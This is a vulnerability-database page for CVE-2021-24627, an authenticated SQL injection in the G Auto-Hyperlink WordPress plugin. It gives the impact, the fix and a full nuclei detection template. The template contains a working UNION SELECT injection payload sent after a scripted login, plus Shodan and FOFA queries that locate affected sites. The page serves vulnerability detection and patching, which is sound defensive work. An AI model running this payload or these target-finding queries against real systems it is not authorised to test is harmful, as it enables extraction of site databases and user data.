Browse / CVEs / CVE-2021-24627
CVE-2021-24627· g auto-hyperlink project / g auto-hyperlink· CWE-89
G Auto-Hyperlink <= 1.0.1 - SQL Injection
highseverity
7.2CVSS score
6.5%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it
The G Auto-Hyperlink WordPress plugin through 1.0.1 does not sanitise or escape an 'id' GET parameter before using it in a SQL statement, to select data to be displayed in the admin dashboard, leading to an authenticated SQL injection
Impact
Authenticated administrators can exploit SQL injection in the admin dashboard to extract database contents, potentially exposing sensitive WordPress configuration and user data.
Fix
Update to G Auto-Hyperlink version 1.0.2 or later.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=g-auto-hyperlink-edit&id=-2198+UNION+ALL+SELECT+NULL%2Cmd5%28{{num}}%29%2Ccurrent_user%28%29%2Ccurrent_user%28%29%2CNULL%2CNULL%2C…
Positive when: contains in body_2 "c8c605999f3d8352d7bb792cf3fdb25b" and "Keyword" and "g-auto-hyperlink-edit" AND contains in header_2 "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-24627 -u <target>
The full check
id: CVE-2021-24627
info:
name: G Auto-Hyperlink <= 1.0.1 - SQL Injection
author: theamanrawat
severity: high
description: |
The G Auto-Hyperlink WordPress plugin through 1.0.1 does not sanitise or escape an 'id' GET parameter before using it in a SQL statement, to select data to be displayed in the admin dashboard, leading to an authenticated SQL injection
impact: |
Authenticated administrators can exploit SQL injection in the admin dashboard to extract database contents, potentially exposing sensitive WordPress configuration and user data.
remediation: |
Update to G Auto-Hyperlink version 1.0.2 or later.
reference:
- https://wordpress.org/plugins/g-auto-hyperlink/
- https://wpscan.com/vulnerability/c04ea768-150f-41b8-b08c-78d1ae006bbb
- https://nvd.nist.gov/vuln/detail/CVE-2021-24627
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2021-24627
cwe-id: CWE-89
epss-score: 0.0649
epss-percentile: 0.93813
cpe: cpe:2.3:a:g_auto-hyperlink_project:g_auto-hyperlink:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: g_auto-hyperlink_project
product: g_auto-hyperlink
framework: wordpress
shodan-query: http.html:/wp-content/plugins/g-auto-hyperlink/
fofa-query: body=/wp-content/plugins/g-auto-hyperlink/
publicwww-query: /wp-content/plugins/g-auto-hyperlink/
tags: cve2021,cve,sqli,wpscan,wordpress,wp-plugin,wp,g-auto-hyperlink,authenticated,g_auto-hyperlink_project,vuln
variables:
num: 999999999
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+I
- |
GET /wp-admin/admin.php?page=g-auto-hyperlink-edit&id=-2198+UNION+ALL+SELECT+NULL%2Cmd5%28{{num}}%29%2Ccurrent_user%28%29%2Ccurrent_user%28%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "c8c605999f3d8352d7bb792cf3fdb25b"
- "Keyword"
- "g-auto-hyperlink-edit"
condition: and
- type: word
part: header_2
words:
- "text/html"
- type: status
status:
- 200References
- https://wordpress.org/plugins/g-auto-hyperlink/
- https://wpscan.com/vulnerability/c04ea768-150f-41b8-b08c-78d1ae006bbb
- https://nvd.nist.gov/vuln/detail/CVE-2021-24627
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from